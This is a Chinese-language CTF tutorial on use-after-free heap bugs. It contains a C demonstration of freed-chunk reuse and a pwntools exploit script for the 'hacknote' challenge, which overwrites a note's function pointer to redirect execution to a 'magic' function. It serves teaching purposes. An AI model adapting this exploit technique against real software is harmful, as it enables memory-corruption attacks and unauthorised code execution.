首先我们来一个例子,来了解一下UAF(use after free)的特点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #include<stdio.h> #include<stdlib.h> typedef struct node{ int x; char * str; }node; int main(){ node * node1 = (node*)malloc(8); node1->str = malloc(32); node1->x = 2333; printf("node1 ptr = %p && node1->str ptr = %p\n",node1,node1->str); node * node2 = (node*)malloc(8); node2->str = malloc(32); node2->x = 1444; printf("node2 ptr = %p && node2->str ptr = %p\n",node2,node2->str); free(node1->str); free(node1); free(node2->str); free(node2); node * node3 = (node*)malloc(8); node3->str = malloc(8); node3->x = 5666; printf("node3 ptr = %p && node3->str ptr = %p\n",node3,node3->str); free(node3->str); free(node3); return 0; };
|
运行结果
node3的str成员指向的是node1的x成员,free之后由于指针没有清0,所以chunk依旧可用,即node1依然正常使用,具体利用例子如下题
利用思路:我们可以溢出note0的put函数成员的地址,然后通过addNote3的时候将note0的put函数成员地址覆盖成magic函数地址,然后printNote0时,就会执行magic函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * r = process('./hacknote') def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx)) magic = 0x08048986 addnote(32, "aaaa") addnote(32, "ddaa") delnote(0) delnote(1) addnote(8, p32(magic)) printnote(0) r.interactive()
|